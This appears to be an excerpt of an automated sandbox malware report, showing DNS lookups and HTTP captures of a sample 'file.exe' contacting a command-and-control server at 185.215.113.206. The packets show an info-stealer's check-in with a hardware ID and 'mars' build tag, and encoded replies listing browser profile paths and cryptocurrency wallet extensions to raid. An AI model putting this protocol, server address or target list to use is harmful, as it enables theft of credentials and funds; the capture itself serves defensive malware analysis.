Nov 12, 2024 10:37:25.321940899 CET	1.1.1.1	192.168.2.6	0x1925	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 10:37:25.325823069 CET	1.1.1.1	192.168.2.6	0x3c1b	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 10:37:25.325834036 CET	1.1.1.1	192.168.2.6	0xcbbe	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 10:37:25.336865902 CET	1.1.1.1	192.168.2.6	0x53a9	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 10:37:25.339216948 CET	1.1.1.1	192.168.2.6	0x86d1	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 10:37:26.299459934 CET	1.1.1.1	192.168.2.6	0x142b	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 12, 2024 10:37:26.299616098 CET	1.1.1.1	192.168.2.6	0xcce8	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 10:37:26.299616098 CET	1.1.1.1	192.168.2.6	0xcce8	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 10:37:26.300360918 CET	1.1.1.1	192.168.2.6	0x7b0e	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 10:37:26.300360918 CET	1.1.1.1	192.168.2.6	0x7b0e	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 10:37:26.300801992 CET	1.1.1.1	192.168.2.6	0xfe87	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 12, 2024 10:37:26.346797943 CET	1.1.1.1	192.168.2.6	0x5a08	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 10:37:26.346797943 CET	1.1.1.1	192.168.2.6	0x5a08	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 10:37:26.347098112 CET	1.1.1.1	192.168.2.6	0x8ab3	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 12, 2024 10:37:26.677333117 CET	1.1.1.1	192.168.2.6	0x8691	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 10:37:26.677333117 CET	1.1.1.1	192.168.2.6	0x8691	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 12, 2024 10:37:26.677875042 CET	1.1.1.1	192.168.2.6	0x3b4d	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 10:37:26.682616949 CET	1.1.1.1	192.168.2.6	0x4c41	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 10:37:26.682616949 CET	1.1.1.1	192.168.2.6	0x4c41	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 12, 2024 10:37:27.829724073 CET	1.1.1.1	192.168.2.6	0x4e5c	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 10:37:27.829724073 CET	1.1.1.1	192.168.2.6	0x4e5c	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 12, 2024 10:37:29.854505062 CET	1.1.1.1	192.168.2.6	0x2806	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 10:37:29.854505062 CET	1.1.1.1	192.168.2.6	0x2806	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 12, 2024 10:37:30.859256983 CET	1.1.1.1	192.168.2.6	0x2806	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 10:37:30.859256983 CET	1.1.1.1	192.168.2.6	0x2806	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 12, 2024 10:37:31.861613989 CET	1.1.1.1	192.168.2.6	0x2806	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 10:37:31.861613989 CET	1.1.1.1	192.168.2.6	0x2806	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 12, 2024 10:37:33.880465984 CET	1.1.1.1	192.168.2.6	0x2806	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 10:37:33.880465984 CET	1.1.1.1	192.168.2.6	0x2806	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 12, 2024 10:37:37.875852108 CET	1.1.1.1	192.168.2.6	0x2806	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 10:37:37.875852108 CET	1.1.1.1	192.168.2.6	0x2806	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 12, 2024 10:39:21.907746077 CET	1.1.1.1	192.168.2.6	0x7eb3	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 10:39:21.907746077 CET	1.1.1.1	192.168.2.6	0x7eb3	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 10:39:21.907823086 CET	1.1.1.1	192.168.2.6	0x66b1	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 12, 2024 10:39:23.297133923 CET	1.1.1.1	192.168.2.6	0x1286	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 10:39:23.297133923 CET	1.1.1.1	192.168.2.6	0x1286	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 10:39:23.297385931 CET	1.1.1.1	192.168.2.6	0xa8ef	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49709	185.215.113.206	80	4328	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:37:02.578088045 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 10:37:03.476367950 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 10:37:03.481659889 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCGIDGCGIEGDGDGDGHJK Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 46 31 36 30 30 31 39 37 36 43 32 32 33 31 32 30 32 37 36 32 36 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 2d 2d 0d 0a Data Ascii: ------GCGIDGCGIEGDGDGDGHJKContent-Disposition: form-data; name="hwid"5F16001976C22312027626------GCGIDGCGIEGDGDGDGHJKContent-Disposition: form-data; name="build"mars------GCGIDGCGIEGDGDGDGHJK--
Nov 12, 2024 10:37:03.770514965 CET	407	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:03 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 54 51 32 4d 6a 55 7a 5a 54 41 77 4e 57 45 32 4e 7a 55 79 4d 6a 49 78 4e 44 4a 6d 5a 54 4d 78 5a 6d 4a 6b 4f 54 59 33 4e 6d 51 79 4e 44 49 77 4e 54 6b 79 4d 7a 55 77 4e 44 49 34 4e 44 67 77 4f 44 55 79 4e 32 51 7a 59 32 49 77 4d 57 46 6c 5a 54 51 35 4e 44 4a 6b 4f 44 5a 68 4e 32 4e 68 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NTQ2MjUzZTAwNWE2NzUyMjIxNDJmZTMxZmJkOTY3NmQyNDIwNTkyMzUwNDI4NDgwODUyN2QzY2IwMWFlZTQ5NDJkODZhN2NhfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 12, 2024 10:37:03.773250103 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBGIDGCAFCBKECAAKJJK Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 47 49 44 47 43 41 46 43 42 4b 45 43 41 41 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 34 36 32 35 33 65 30 30 35 61 36 37 35 32 32 32 31 34 32 66 65 33 31 66 62 64 39 36 37 36 64 32 34 32 30 35 39 32 33 35 30 34 32 38 34 38 30 38 35 32 37 64 33 63 62 30 31 61 65 65 34 39 34 32 64 38 36 61 37 63 61 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 49 44 47 43 41 46 43 42 4b 45 43 41 41 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 49 44 47 43 41 46 43 42 4b 45 43 41 41 4b 4a 4a 4b 2d 2d 0d 0a Data Ascii: ------EBGIDGCAFCBKECAAKJJKContent-Disposition: form-data; name="token"546253e005a675222142fe31fbd9676d24205923504284808527d3cb01aee4942d86a7ca------EBGIDGCAFCBKECAAKJJKContent-Disposition: form-data; name="message"browsers------EBGIDGCAFCBKECAAKJJK--
Nov 12, 2024 10:37:04.051680088 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:03 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 12, 2024 10:37:04.051701069 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 12, 2024 10:37:04.070979118 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDAKJJDBGCAKKFHIJEGH Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 4a 44 42 47 43 41 4b 4b 46 48 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 34 36 32 35 33 65 30 30 35 61 36 37 35 32 32 32 31 34 32 66 65 33 31 66 62 64 39 36 37 36 64 32 34 32 30 35 39 32 33 35 30 34 32 38 34 38 30 38 35 32 37 64 33 63 62 30 31 61 65 65 34 39 34 32 64 38 36 61 37 63 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 4a 44 42 47 43 41 4b 4b 46 48 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 4a 44 42 47 43 41 4b 4b 46 48 49 4a 45 47 48 2d 2d 0d 0a Data Ascii: ------JDAKJJDBGCAKKFHIJEGHContent-Disposition: form-data; name="token"546253e005a675222142fe31fbd9676d24205923504284808527d3cb01aee4942d86a7ca------JDAKJJDBGCAKKFHIJEGHContent-Disposition: form-data; name="message"plugins------JDAKJJDBGCAKKFHIJEGH--
Nov 12, 2024 10:37:04.349860907 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:04 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 12, 2024 10:37:04.349970102 CET	112	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtp
Nov 12, 2024 10:37:04.349982023 CET	1236	IN	Data Raw: 63 47 68 6c 5a 57 6c 71 61 57 31 6b 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 Data Ascii: cGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9
Nov 12, 2024 10:37:04.349994898 CET	1236	IN	Data Raw: 61 6d 39 38 4d 58 77 77 66 44 42 38 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 Data Ascii: am98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2p
Nov 12, 2024 10:37:04.350008965 CET	1236	IN	Data Raw: 5a 32 70 6c 62 57 56 72 5a 57 4a 6b 63 47 56 76 61 32 4a 70 61 32 68 6d 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 46 79 64 47 6c 68 62 69 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d Data Ascii: Z2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3B
Nov 12, 2024 10:37:04.350022078 CET	336	IN	Data Raw: 62 47 31 6e 59 57 35 6d 59 57 46 73 61 32 78 69 66 44 46 38 4d 48 77 77 66 45 4e 76 62 57 31 76 62 6b 74 6c 65 58 78 6a 61 47 64 6d 5a 57 5a 71 63 47 4e 76 59 6d 5a 69 62 6e 42 74 61 57 39 72 5a 6d 70 71 59 57 64 73 59 57 68 74 62 6d 52 6c 5a 48 Data Ascii: bG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR
Nov 12, 2024 10:37:04.350239038 CET	1236	IN	Data Raw: 61 6d 6c 72 59 57 70 6f 5a 6d 4a 76 62 57 68 73 62 57 31 76 62 47 78 77 61 47 4e 68 5a 48 77 78 66 44 42 38 4d 48 78 53 59 57 6c 75 59 6d 39 33 49 46 64 68 62 47 78 6c 64 48 78 76 63 47 5a 6e 5a 57 78 74 59 32 31 69 61 57 46 71 59 57 31 6c 63 47 Data Ascii: amlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHxiZ2pvZ3BvaWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXw
Nov 12, 2024 10:37:04.350267887 CET	716	IN	Data Raw: 61 48 4a 76 62 57 6c 31 62 58 78 6a 61 57 39 71 62 32 4e 77 61 32 4e 73 5a 6d 5a 73 62 32 31 69 59 6d 4e 6d 61 57 64 6a 61 57 70 71 59 32 4a 72 62 57 68 68 5a 6e 77 78 66 44 42 38 4d 48 78 4e 59 57 64 70 59 79 42 46 5a 47 56 75 49 46 64 68 62 47 Data Ascii: aHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHxta3BlZ2prYmxra2VmYWNmbm1rYWpjam1hYmlqaGNsZ3wxfDB8MHxCYWNrcGFjayBXYWxsZXR8YWZsa21maGViZWRiamlvaXBnbGdjYmNtbmJwZ2xpb2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJ
